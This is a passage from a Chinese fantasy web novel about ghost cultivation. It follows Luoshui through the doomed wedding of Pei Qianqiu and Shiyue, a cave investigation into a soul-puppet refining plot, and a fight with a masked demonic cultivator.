“我……”百鬼郎君还想说什么时,换来的却是嘴唇一热,十月突然吻住了他,眼中闪烁着坚定的光芒。百鬼郎君一愣,心中的冰冷被这突如其来的温暖融化。十月轻声道:“我本也不是什么富贵人,天生贱命,如若注定要死,不如和你一起沉沦,痛快一场!”裴千秋眼中闪过一丝复杂的情感,沉默片刻,终是将十月紧紧拥入怀中,低声道:“既如此,你我便一同面对这黑暗,直至尽头。”两人身影在竹影下交织,彼此的心跳声在寂静竹林中显得格外清晰,仿佛在这一刻,所有的仇恨与绝望都被这份坚定的情感所抚慰。 41.四十一、梦中忆(七) 洛水只觉天地再一次旋转,眼前快速掠过十月的众多笑脸,这些笑脸如春花般绽放,带着温暖的阳光,在这笑脸旁边,始终都有百鬼郎君裴千秋的身影。又是一次忽然的停顿,洛水心中一紧,画面定格在裴千秋那双深邃的眼眸,仿佛能穿透时空,直抵心底。那眼神中,既有无尽的苍凉,也有难以言喻的柔情。回忆如潮水般涌来,带着刻骨的痛与不舍,洛水眼角湿润,口中呐喊:“千秋,无论生死,我愿与你同在。” 洛水深知,这是十月的记忆在脑海中激荡起的回响,强烈得让他的心跳与十月共鸣,仿佛穿越了时空的枷锁。洛水只看到眼前漫天的纸屑彩花,寨子众人齐齐地欢呼,那是十月与裴千秋成婚的场景,欢声笑语中,洛水感受到一种前所未有的归属感,仿佛自己也是这幸福的一部分。 “我应承于你的,必不负诺言。即便命运多舛,亦愿与你并肩,共赴风雨。此心此意,天地可鉴,生死相随。”裴千秋紧握十月的手,眼中泪光闪烁,低声回应:“此生有你,足矣。”两人相视一笑,仿佛世间纷扰皆已远去。 “大新郎与小新郎,共饮交杯酒!”地缺一声高呼,众人的笑声与掌声交织,空气中弥漫着喜悦与祝福。裴千秋与十月举杯相碰,酒香四溢,仿佛将彼此的心意融入其中。这一刻,所有的苦难与挣扎都化为乌有,只剩下彼此间坚定不移的承诺与深情。 “寨主和夫君情深义重,令人动容,今晚,大家不醉不归!”不知谁高声喊道,众人纷纷举杯,欢声笑语回荡在夜空。月光洒下,竹影婆娑,仿佛也在为这份深情祝福。裴千秋与十月相视而笑,心中那份坚定与执着,裴千秋握着十月的手,缓缓说道:“你说,你名十月,只因是十月所生,今日,我想为你改一字,改为‘拾’字可好?从今日起,你的名字不再只是一个月份,而是我裴千秋拾起的珍宝。”十月眼中闪过一丝惊喜,轻声应道:“拾月,愿随郎君心意。” “礼……成!”地缺高声宣布,众人齐声欢呼,掌声雷动,就在众人喧嚣之际,裴千秋忽然心中冷意爆发,只觉浑身僵硬,一股寒意从脚底直冲头顶。他猛然回头,惊呼大喊:“所有人!戒……” ‘备’字未出,口,一股黑风骤然袭来,寨中灯火瞬间熄灭,黑暗中,众人惊慌失措,裴千秋紧握拾月的手,心中警觉万分。黑风如鬼魅般席卷,寨中一片混乱,呼喊声、脚步声交织。裴千秋快速御动周遭怨气,无数鬼魅自地中涌出,阴冷之气弥漫,拾月紧靠裴千秋,眼中毫无惧色。裴千秋低喝一声,一道血色光芒骤现,护住二人。黑风愈猛,鬼魅嘶吼,黑暗之中只听见鬼魅凄惨尖叫。 “哼,果然,正如蓬莱城城主所说,此地鬼魅横生,怨气不灭,如今一瞧,所使手段尽是邪魔靳洛水的鬼道之术。”一个带着不屑之声响起,只见一道金光破空而来,瞬间驱散此间所有鬼魅,金光中现出一道身影,是一个青衣翠绿的女子,眉目如画,手持玉笛,轻扬嘴角,冷眸扫视四周,语气淡然:“有几分邪魔的样子,但和邪魔当年耍的手段相比,差的火候不是一星半点。” “你是谁?又是蓬莱城那狗城主派来的?敢在我裴千秋的地盘上撒野!”裴千秋怒目而视,手中血光击向女子。女子轻笑一声,玉笛轻挥,金光环绕,轻易便化开了攻击,语气平静:“就凭你那三脚猫的修为,也配对我大呼小叫?”女子玉笛指向裴千秋,金光闪烁间,地面骤裂,一道金光直冲裴千秋,他猛然闪避,血光护体,地面碎石飞溅。拾月紧握裴千秋手臂,眼中闪过一丝担忧。裴千秋冷哼一声,周身血光大盛,与金光激烈碰撞,但并未抵挡多久,血色光芒渐暗,裴千秋身形微晃,嘴角溢出一丝血迹。 “千秋!”拾月急呼,眼中泪光闪烁,青衣女子看见眼前两人红衣相偎,眉眼间的不屑变成嫌恶,恶狠狠道:“男子相爱,天地不容,我最看不惯的便是你们这些颠倒阴阳的孽障!”裴千秋怒目圆睁,咬紧牙关,血光再度凝聚,低吼道:“爱与何人,岂容你置喙!”女子冷哼,玉笛猛挥,金光如暴雨般袭来,寨中石柱崩裂,尘土飞扬,其余众人在金光之中四散奔逃,惊恐万状,但在这雨水般的金光之下,众人毫无抵挡之力,纷纷倒地。 “住手!有事冲我……”裴千秋话并未说完,女子弹指一挥,金光如利刃穿透裴千秋护体血光,他闷哼一声,身形踉跄。青衣女子冷笑一声,不屑道:“百鬼郎君,你有什么资格装英雄说这些冠冕堂皇的场面话,你不过是一介绿林草莽,凭几道邪术横行,本就是人人得而诛之的货色。对了,你还不知道吧,正是你迎娶的娇夫,把你这百鬼山阵眼一一破除,断了你的邪术根基,我才能如此轻易地进入你这百鬼山,我告诉你,百鬼山今日灭顶之灾,就是你这枕边人所造成的!” “什么!”裴千秋看向拾月,眼中震惊与不信交织,拾月泪眼朦胧,颤声道:“千秋,我绝无害你之心!”裴千秋心神剧震,握住拾月的手却未放松,声音呜咽:“拾月,我信你,但这山中阵眼,只有你与我才知晓,你是否被人暗算?”拾月摇头,泪如雨下:“我……我不知情!”女子冷笑,玉笛再挥,金光更盛:“真相如何,如今还有何意义,拿命来!”金光直逼拾月,裴千秋以身相挡,血光骤然爆发,却仍不敌金光,二人身影渐显虚弱。寨中一片狼藉,石柱崩塌,尘土蔽日,众人在金光中无力挣扎,哀嚎四起。 裴千秋拼尽全力,血光化作一道赤红屏障,勉强抵挡金光侵袭,青衣女子只微微一笑,举起手中玉笛轻轻吹奏,悠扬笛声穿透尘嚣,金光随之波动,愈发凌厉,瞬间击穿赤红屏障,金光穿透裴千秋,不由得身形剧震,口吐鲜血。 “千秋!千秋!你……”拾月声嘶力竭,泪如泉涌,紧抱裴千秋,心中剧痛如绞。裴千秋艰难抬手,轻抚她脸颊,嘴角微扬,气息却愈发微弱:“别……哭,我见不得的,就是我爱的人哭,以前是我母亲,如今,是你。” “你别说话了!凝神聚气!快!别说话了!”拾月泪眼模糊,急促说出的话语带着无尽绝望。青衣女子缓缓走到二人跟前,眼神冷冽如冰,她勾勾唇角说道:“让你死个明白,你这枕边人,正是你最恶心的蓬莱城城主之弟,他潜伏多年,只为今日一击。你所谓的爱情,不过是他精心布下的陷阱。可笑你至死不悟,真是可悲!”裴千秋目光涣散,却仍紧握拾月之手,低语:“我不信……拾月,告诉我,这不是真的……”拾月泪眼朦胧,摇头不止,心中却如刀割般痛楚。拾月咬唇,泪珠滚落,颤声说道:“千秋,我……我……” 裴千秋看着眼前哭泣之人,心中唯一的暖意渐渐消散,却仍强撑着一丝信念,轻声道:“拾月,无论她所言是真是假,刚才誓言,我绝不悔。”裴千秋带血的手缓缓攀上拾月脸颊,指尖轻触,似要将最后一丝温度传递。拾月心如刀绞,只觉裴千秋的手渐失温度,声音微弱却坚定:“若有来生,愿再不相负。”言罢,裴千秋气息断绝,拾月悲痛欲绝,紧紧抱住他,泪如泉涌。 青衣女子冷眼旁观,玉笛轻扬,金光渐隐。拾月悲痛欲绝,紧抱裴千秋,泪水中映出他苍白面容,寨中哀嚎渐息,尘土落定,一片死寂。 “这不是说好的,这不是说好的!大哥他说,只要毁去阵眼,断了千秋的执念,他亲自上山与千秋商谈,必给百鬼山众人生路!这不是大哥和我说的!这不是,这不是!”拾月声嘶力竭,挣扎站起,指向青衣女子:“都骗我!都在骗我!你是谁!为什么是你来!陈仲谦那厮死哪了!是他,明明是他说只要百鬼山众人放下屠刀,我毁去阵眼,他便能划一片土地与我们自给自足,往事种种便一笔勾销!” “可笑,世间向来没有蠢货的生存空间,你所信的承诺,不过是权谋者的游戏。你叫他一声大哥,他如今是高高在上的蓬莱城城主,他会想要有你这么一个弟弟吗?一个出身勾栏瓦舍的龟公,一个恶心至极的断袖之人,你配与他称兄道弟?不过是利用你罢了。今日之事,不过是他清除异己的手段,你不过是他棋盘上的一枚弃子。”青衣女子冷笑连连,眼神中尽是轻蔑与不屑。拾月双目赤红,心如刀绞,却无从反驳,看着眼前的尸山血海,看着怀中已无生气的裴千秋,拾月心中最后一丝希望破灭,泪水与血水交织,模糊了视线。他颤抖着抬起手,轻抚裴千秋冰冷的脸庞,声音嘶哑:“千秋,我愿为你化作厉鬼,让他们血债血还!”言罢,拾月眼中闪过一丝决绝,拿出裴千秋藏于身上的匕首,冲向青衣女子,只一瞬,金光四射,拾月缓缓闭上双眼,任由绝望吞噬。 洛水顿感浑身五脏六腑被无尽的苦与悲吞没,眼前一切化为灰烬,心中痛楚如潮水般涌动,泪水模糊视线,喉咙嘶哑,再发不出一丝声音。青衣女子冷眼看着这一切,玉笛轻收,转身离去。洛水躺在地上,看着身侧的裴千秋,心中涌起无尽的悔恨与绝望,一滴泪缓缓从眼中 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“那怎么办?如你所说,此鬼恨意深重,若不化解,恐怕后患无穷,而且他如今还附身在赵明身上,随时可能暴起伤人。”陈枫神情紧张,洛水倒是较为镇定,沉声道:“无妨,我已知他所修术法,可设法以同源术法引导,使附身赵明的鬼魂无法清醒,暂时被封印于赵明体内,这样赵明亦可苏醒。待我们寻到缺失的记忆片段,再彻底化解其执念,解放赵明。” “如若此鬼有心隐瞒记忆,如要寻得谈何容易!”陈枫一脸怀疑,洛水看向陈枫,语气平静地问道:“陈仲谦,是谁?” “无礼!我爹的名讳岂是你能直呼的!”陈枫忽然怒目而视,洛水微微一笑,回道:“既然是城主,那此鬼缺失记忆就有地可寻。” “你这话是什么意思?”陈枫疑惑,洛水不答,只是转身走向赵明,轻声念咒,指尖金光闪烁,渐渐渗入赵明眉心。赵明身体微颤,眼皮轻动,似有苏醒迹象。 “再过半个时辰,赵明便会苏醒,我们需得尽快离开这里,回到蓬莱城,我总觉得,此事并非表面那么简单,背后必定还有第三人在暗中操控。”洛水收回金光,喃喃道。 “第三人?你到底在说什么,怎么自你醒了以后说话那么奇怪?完全云里雾里的!”陈枫焦躁不安,洛水不语,重新盘腿坐下开始运气打坐,一旁的李浩也未再追问,只默默扶起赵明坐到一旁。 约莫半个时辰后,赵明身体微微颤动,眼皮缓缓睁开,迷茫地环顾四周,陈枫和李浩惊喜地拥抱着赵明,但随后又小心翼翼地问道:“你还记得我们是谁吗?” “怎么可能不记得!枫少和臭屁李!哎哟,我这头怎么这么疼,浑身都疼,我到底怎么了?”赵明揉着太阳穴,努力回忆,却只感到一片模糊。陈枫和李浩对视一眼,才缓缓说道:“你被鬼附身了,你可记得?” “什么!鬼附身?我怎么一点印象都没有!”赵明惊愕地瞪大眼睛,随即痛苦地抱住头,“我只记得一阵阴冷,然后就什么都不清楚了。”洛水轻叹一声,走上前,轻抚赵明的肩膀,“不必勉强回忆,你的记忆已被鬼魂干扰,勉强会伤及你自身根本,更何况那鬼还在你体内,只是被我用障眼法困住了,暂时还未苏醒。”赵明闻言,脸色苍白,颤抖着问道:“什么?我?我的体内有鬼?” “不必惊慌,我有法子帮你祛除,只是得回到蓬莱城才行。”洛水说话间,再一次环顾起四周,此地红光依旧,阴气依旧,不知为何,洛水走向那硕大的轿子,细细观摩起来。手指抚上轿子的一刻,一股心酸从心中涌起,许多的委屈和不甘在心头萦绕,洛水不知这份情感,是源自拾月,还是源自自己。 刚才被此地阴森的氛围影响,未曾仔细端详这轿子,此轿雕梁画栋,金碧辉煌,所用丝绢均为上等,如若不是此地红光的过度映衬显得阴森无比,倒像是哪家权贵之物。洛水轻叹,指尖轻触轿壁,忽然想到了什么,眼中闪过一丝清明,低声自语:“婚礼?此处是轿子,刚才的洞穴是棺材,棺材,轿子,一红一白,生死相扣,莫非是一场未竟的冥婚?” “顾先生,你在说什么?什么冥婚?”李浩不解地询问,洛水却未回头,只是凝视着轿子。 “冥婚,以洞为房,以河为墙,以轿为媒,以邪神为证,这些物件都是阴物,这般便可模糊生死界限,将阴阳两界相连。可背后之人,到底是想用秦拾月和裴千秋的魂魄做什么?炼成厉鬼?即便是能炼成厉鬼,但厉鬼不可控,炼成之后,又该如何驾驭?结丹之下难道不怕反噬?如若是元婴人物,又能从这些东西里获利什么呢?”洛水眉头紧锁,深陷沉思。 42.四十二、鬼道 “枫少,顾先生在那原地转了都快有一炷香了,要过去问问他不?”李浩和赵明盯着洛水的背影,面露担忧。陈枫看着洛水,沉吟片刻道:“算了,这一路都是靠他引路,此刻还是别打扰他了。” “也是。对了,臭屁李,我脱了衣服你给我瞧瞧,我到底有没有长出第三只手。”赵明说着开始扯衣服,李浩实在无力,捂着受伤的肩膀苦笑:“赵明,别闹了,现在可不是开玩笑的时候。” “我没开玩笑,顾先生说有个鬼在我体内,我总觉得背部毛毛的,像是有什么东西在蠕动,不会是鬼在我身体里孵蛋了吧?”赵明话音未落,洛水突然转身,神色严肃道:“赵明,你刚刚说什么?” “我?我没说什么啊,我就说我背部毛毛的……” “后面那句!” “孵蛋啊……” “孵蛋?孵?”洛水眼中闪过一丝惊异,低声自语:“鬼孵蛋?” “顾先生,你在嘀咕什么呢?我们到底怎么出去?这里红得我心慌慌的。”赵明紧张地环顾四周,洛水眼眸一动,像是有了什么主意,说道:“走,我大概知道另一个出口在哪处了。” “真的?”李浩眼中闪过一丝希望,急切追问:“顾先生,你是怎么发现的?” “边走边说吧,此地继续停留我眼睛都要瞎了。”洛水说完便率先迈步,沿着轿壁缓缓前行,手指轻敲,似在寻找某种机关。赵明和李浩紧随其后,心中虽疑惑重重,却也不敢多言。轿内光线昏暗,红光映照下,洛水的脸庞显得愈发冷峻。他忽然停下,蹲下身子看向轿子下方,只见下方摆着两尊瓷偶,瓷偶双目空洞,嘴角挂着一抹诡异的笑意。瓷偶左右各捧着一卷黄符,符上朱砂斑驳,隐约能看出左右黄符分别写着“镇魂”与“引灵”。 洛水心中一动,小心翼翼地取下左边的“镇魂”,顿时轿内阴风骤起,瓷偶的笑容似乎更加诡异。身后三人不禁打了个寒颤,李浩忍不住问道:“顾先生,这到底是怎么回事?” “如若我没猜错,这是一场横跨数十年的炼傀计划。”洛水一边说着,一边把取下的‘镇魂符’拿在手里端详,斑驳痕迹诉说着此符岁月,洛水轻轻一揉,镇魂符化为灰烬,阴风骤停。 “炼傀?这又是什么东西?”陈枫不解地问道。 “炼傀本为酆都鬼国秘术,能够将亡者灵魂封入傀儡,化为驱使的工具……” “这个我倒听说过,我爹许久之前游历九州时有遇到过这么一个东西!”李浩声音打断了洛水的阐述,还未说完,赵明狠狠一巴掌甩在李浩后脑勺上,怒道:“臭屁李你臭屁什么呢!没见顾先生正在说话呢,轮得到你讲你那些臭屁史吗!”李浩一脸委屈,不敢再出声。 “这炼傀阴鸷,是魔道修士梦寐以求的东西,只因这炼傀不仅能保持生前的战斗经验和法力,更能成为造主危急时刻夺舍之选。如若被暗算之人,是正道的翘楚,那魔道就可毫无阻碍地瓦解掉正道势力。洛水沉声继续道:“人一旦被炼成傀儡,就连灵魂都会被奴役,永世不得超生。” “顾先生说的,和我爹遇到的情况完全不同,原来傀儡术和炼傀并不是一个物件?”李浩若有所思地点点头,赵明适时的抛去一个白眼。 “傀儡术是把人体作为傀儡,而炼傀是把灵魂作为傀儡,两者差别还是很大的。而且两者的制作难度大相径庭,炼傀术最重要的一点,就是被炼之人是自愿的,否则无法成功。”洛水目光深邃,继续道:“这山洞,一路走来,从山顶到此处的轿辇布置,都是婚庆之景,实则是炼傀仪式的一部分。想来是有人与秦拾月达成某种协议,让秦拾月信以为真,甘愿奉出自己魂魄,而那人以婚礼为幌,暗中施行炼傀之术。” “秦拾月?谁呀?”陈枫不解地问道。 “附身在赵明身上的鬼,就是秦拾月。”洛水解释道。 “什么!不应该是裴千秋吗?”三个少年讶异,互相交换着疑惑的眼神。 “裴千秋是他夫君,早已身殒,秦拾月误以为能与之再续前缘,实则被利用。此术一旦完成,秦拾月将永困傀儡之身,有可能背后之人还想把裴千秋的魂魄也召回,一同封入炼傀的躯体里,因这两人生前未能如愿厮守,且带着极大怨气枉死,一旦二者魂魄被炼入同一具躯体,那么后果将不堪设想,想来秦拾月关键回忆被抹去,正是有人害怕秦拾月的怨气被化解,导致计划失败。”洛水的话语让三人心口一紧。 “你又是怎么看出这个计划的?我们这一路,除了诡异一些,也没什么卷轴书卷有阐述这些事呀。”陈枫皱着眉头问,带着一丝丝的怀疑和疑惑。 “很多东西并不需要都记在纸上的,特别是这些不能让人知晓的事,只要你懂的足够多,自然就会懂。我们这一路过来,你们有没有觉得这些场景的布局像什么?” “还能像什么?一场臭气熏天,恶心巴唧的冥婚呗。”陈枫说着呸了一口。 “这些是表象,你们都忽略了很重要的东西,就是包裹这些事物的山像什么。” “像什么?”三个少年齐齐开口询问。 “鸡蛋。”洛水的答案让三人互相对看,疑惑非常。 “鸡蛋?你是不是进鬼的记忆,把脑子给搞坏了,这里哪一点有鸡蛋的样子了?”陈枫一脸不屑。 “我指的并非真的‘像鸡蛋’,而是所有事物的合并‘像一个鸡蛋’。” “顾先生,我也被你绕晕了,什么像鸡蛋不像鸡蛋的?”李浩也面露难色。 “唉,我问你们,修习法术,最重要的是什么?” “天赋!” “功法秘籍!” “法器法宝!” “都错!”洛水瞪了一眼眼前的三个少年,认真说道:“修习仙法,最重要的,是想象力,这是你们所说的事物的集大成者!” “什么意思?不懂。”陈枫依旧一副不服模样。 “仙法的源头就是气,气生万物,而万物如何从气中生出,则是依靠想象力。因为有想象力,所以你才可以驱动气,以气构筑你想要的效果。比如说‘火’,如何能让火从火苗,变成巨大的爆炸,这就需要想象力的加持,因为想象力能驱使气集齐爆炸所需的所有物质和元素,而一个人的想象力又和他的日常所见所闻息息相关,回到最开始的问题,我说这里像鸡蛋,是因为我把整座山‘想象’成了鸡蛋,因为它的构造和鸡蛋无异,目的只有一个,孵化出极恶极凶的东西。”三人听后,脸上疑惑仍存,但也消下去一半。 “这么说,我们一直在一个巨大的孵化场中?”陈枫不确定地问道。 “正是如此,这座山的布局和气息都在模拟鸡蛋的孵化过程,山为壳,怨为蛋清,鬼为蛋黄。如若我所言非虚,这个‘蛋’必定还有一个孵化蛋的‘母鸡’,也就是背后之人。母鸡不可能时刻护着蛋不离开,除山头庙宇之外,必定还有其他出口,如若有这个出口,那必定在我们所在房室之下。” “为什么?”赵明有些呆滞,这一番话已经让他的脑子混乱不堪。 “呆子!”李浩用仅剩的一只手狠狠扇了赵明一掌,只因伤势过重,这一掌力度极轻。 “因为‘母鸡’需定时喂养‘蛋’,必定会有通道频繁使用,用于观察此地发展情况,如若头顶之路已锁,必定在下方还有另外出口,而且这一路过来的物件,难道是搬到山上再搬入洞府的吗?那这得多费劲,他是邪修,又不是蠢货!” “孺子可教,正是如此,但越靠近‘母鸡’,就意味着危险越大,因为所有的事物都还有一个大结果——躯体。背后之人要把这对怨侣炼入的躯体,必定不是什么简单的容器,之后一切,要听我指挥,不可鲁莽,比如我让你们走,就必须不回头的走,优柔寡断是大忌。”洛水看着三人,但三个少年眼中虽仍有迷茫,洛水每人敲了一记脑袋,沉声说道:“记住,不要逞英雄,让你们走,必须走,只要有人能逃出去,那其他人就还有活的希望。” “明白了。”三个少年回答得有些犹豫,洛水叹了一口气,心知此番年纪的少年又如何懂得生死攸关的抉择。 “赵明,你过来一下。”洛水转身看向赵明。 “哦,好。”赵明应声走到洛水面前,眼中闪烁着不安与好奇。洛水扯下赵明一根头发,放于‘引灵’瓷偶上,随后挖了一块瓷偶旁边的泥土塞入口中,就在三人震惊之余,只听洛水从嘴里发出‘叽里咕噜’的声音,黏腻非常,无法听清所言何意。随后,引灵瓷偶突然发出微光,赵明的头发缓缓融入其中,原本不动的呆滞瓷偶,竟缓缓站起,脸上捏出的笑容更显僵硬诡异,瓷偶的双眼在笑容之中流下两行血泪,瓷偶的血泪滴落泥土,瞬间冒起青烟,空气中弥漫着腥臭。 只听轿子四角悬挂的铜铃发出阴森的响声,仿佛在呼应什么。铜铃声响愈发急促,轿子微微颤动,一个赤红色法阵在轿中缓缓浮现。 “走,这是传送法阵。”洛水督促三人动作迅速。 “不会有诈吧?”陈枫已被这一路的诡异现象折磨得身心俱疲,实在抗拒这类诡异的东西。 “我说没有,你会信吗?”洛水似笑非笑地看着陈枫,陈枫无奈,叹了口气,踏上了轿中法阵,一道红光闪过,已不见了身影。“你们两个也快些。”洛水催促,赵明和李浩对视一眼,咬了咬牙,紧随陈枫的步伐,踏入了红光之中,洛水随后跟上。 只是一眨眼的工夫,原本漫天铺地的红色褪去,四人发现自己置身于一处巨大的地下溶洞,四壁嵌着无数发光的水晶,将整个空间照得恍如白昼。溶洞中央,一座由奇异石料堆砌的祭坛巍然耸立,散发着淡淡的白光。四周则是各种奇异植物和动物的化石,显得神秘又诡异。 “这洞就算石头上长人头我也不会觉得奇怪了。”赵明看着四周吐槽了起来。 “此处洞穴应是上古异兽的葬坑,听闻上古异兽与人一般,将死之时会寻一处地安息,久而久之便形成了葬坑。这些地方死气不散,怨气积压,而且上古异兽的血骨还能长出异矿,想来这些发光的石头就是了。此处确实是绝佳的鬼道修炼洞府,我没见过比这更好的了。”洛水走到祭坛前,轻轻抚摸着其表面。 “你这话说得,好像你就是修鬼道的一样,什么都懂,你才几岁啊。”陈枫瞥了一眼洛水,不住地四周观望。 “只是闲话夸张了些,不必在意。此处应该就是藏身之所。”洛水看着四周,发现此处还散落了不少的卷轴和书籍,随便捡起一本看,都是有关鬼道的修炼法术。“这些东西,想来在九州也不可能明着流传,要收集这么多,想来是花了不少的精力,只是……”洛水翻着地上的书页,眉头紧锁:“这类鬼道术法,比我接触过的,更是有过之而无不及,简直是,毫无人性了。” 陈枫闻言,好奇地拿起一本看起来,书页第一页写着‘青春永驻术’:取出生三月婴孩一个,无论男女,十岁男童一个,初潮刚来女童一个,配合紫河车,以火焚化,取其精华,每日服用,可保青春不老。忌:不得用死人,需生人炼制药效才可留存。 陈枫看得倒吸一口气,顿时感到一阵寒意,慌忙把书往角落一扔。“这些邪魔歪道,所练之法简直不配称之为人!” “只能说这些都是蠢货,即便是鬼道,也该是顺应自然,只因人为万物之灵,便想着用捷径达到目的,与鬼道最初之法背道而驰。”洛水说话间,手指一点,所有地上卷轴书籍通通焚化。 “蠢货?看来这位先生有所高见,不如指点一二。”四人闻声,立即站立于一处,只见远处一 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“邪魔外道!以怨修行本就是逆天而行,如果我是你只能以怨修行,那么我必一刀了结了我自己!”陈枫听不下面罩男的话语,出声反驳。 “不愧是蓬莱城城主的种,说话道貌岸然,难怪秦拾月一听到你陈家,便如此凶残。” “我确实入世未深,但修炼之道,非在于手段之恶,而在于心之正。如若我天生只能以怨修行,那我必将会先寻求心中光明,以求道心不被怨气所染。”洛水把陈枫拉至后方,出言回应。 “心之正?”面罩男冷笑一声,声音中透露出不屑,“你所谓的正,不过是你们这些所谓正道人士的自欺欺人罢了。” “正道也好,邪魔也罢,关键在于行之有道,而不是因自身之需,害及他人。”洛水语气坚定,淡然回应:“即便是邪神靳洛水,也是如此之人。” “我呸,就你那臭嘴,也敢直呼尊上名讳?你算什么东西!”面罩男大怒,手中黑气翻滚,猛然向前一指,顿时洞内寒风凛冽,阴风怒号。洛水神色不变,双掌轻轻合十,以柔和之力化解了对方的攻击,随后缓缓说道:“如若靳洛水如你一般,以人命助修,又如何能修到化神,又如何能跨上那九重天?世人皆说靳洛水杀人无数,但杀必要之人和滥杀无辜,这中间的区别可就大了。” “你这是狡辩!”面罩男怒气更甚,他猛地跃起,黑气在他周身形成一个巨大的漩涡,似乎要将洛水吸入其中。洛水目光如炬,不为所动,他身形轻盈,推开身后三个少年,犹如柳絮般随风飘动,躲避着漩涡的吸力。洛水淡然开口:“事实胜于雄辩,以人命助修本就不为天地人三道所容,而靳洛水之所以能成神,自是顺应了天地人三道之法,尔等俗人只见树木不见森林,难怪魔道这些年,被正道压制如此,想来你们都是歪了道心,已然忘记修行到底为何!” “住口!”面罩男一声怒吼,手中黑气凝聚,化作一把锋利的长刀,他挥舞着朝洛水劈去。洛水见状,眉心一凝,周身爆发出柔和的白光,将那长刀的黑气挡下。“你懂什么!你懂什么!你懂什么!”面罩男怒吼声一阵阵,手中长刀挥舞得越发狠厉,每一下都对准洛水的命门,洛水祭出冰沁刀,一一接下每一道刀光,只是肩膀上的伤口,也因此再次撕裂,鲜血沿着洛水的衣襟缓缓滴落,但手中动作不改分毫。 面罩男见状,冷笑一声,忽然他的背后伸出了第三只手,那只手浑身漆黑,皮肉干瘪无比,用金色漆墨在皮肤上描着连贯的符文。那条漆黑的手臂带着不祥的气息,避开两人的交锋,延长至身下,猛然向洛水的心脏刺去。洛水眼见不妙,侧身闪避,但那黑手如影随形,速度惊人。就在千钧一发之际,洛水身上的光芒猛地一涨,手中冰沁刀再化出一把,迅速抵挡在心口,挡下了那只黑手的致命一击。锋利的冰刀与黑手相碰,发出刺耳的声响,黑手被反震之力弹开。洛水趁势反击,冰沁刀划出一道优美的弧线,直取面罩男的咽喉。面对这突如其来的攻击,面罩男急忙后退,避开了这致命一击,但他的面罩在刀光之下被割裂开来,露出了一道令人惊异的疤痕。 那是一张缺失了半张面孔的男人,疤痕从鼻下到下颚,那是被撕去了脸皮的疤痕,失去了下半张脸皮的男人,露出森森白牙,因为没有脸皮的包裹,白牙之下不住地淌着口水。面罩的断裂让男人怒不可遏,眼中燃烧着疯狂的火光,他不顾一切地再次挥舞着长刀,身后的第三只手在刀口一抹,一道血痕沿着刀口而下,刀身瞬间被血色浸染,刀面发出凄厉的嘶吼声,仔细一看,刀面之上竟生出了几张狰狞嘶吼的人脸。 面具男催动法力,手中刀身人面立即嘶吼尖叫,发出一阵阵可怖惨叫,洛水只觉五感发胀,头晕目眩,两手握着的刀也觉得在颤抖,一阵阵地要脱离自己的掌控。洛水稳定心神,以冰沁刀凝结出层层寒冰,试图封印那诡异的血色长刀。但面罩男却更加疯狂地催动起力量,血色刀光划破寒冰,带着凛冽的杀气,继续朝洛水袭来。洛水眸中寒光一闪,身形如同幽灵般闪躲,他知道这一战,不能有丝毫懈怠,随即手中掏出爆炸符,迅速贴到冰沁刀上,直击面具男。 这一刀,砍出了震天爆炸,一声颠覆天下的响雷声响起,巨大的火光在洛水和面具男之间炸出,冲击力之大,地面的发光矿石被掀飞大半。原本焦灼的两人也被爆炸震飞,同时撞向了两边的石壁之上,洛水原本就带伤,这一下,震得他口吐鲜血,缓缓从石壁上滑落。面具男的情况也不见得更好,他重重地倒在地上,胸口剧烈起伏,努力挣扎着站起,但挣扎了许久,也无法重新站立。他捂着胸口,眼睛死死地盯着洛水,仿佛在评估对手的生命力。洛水尽管受伤,但目光依旧坚定,他知道,这场战斗还远远没有结束。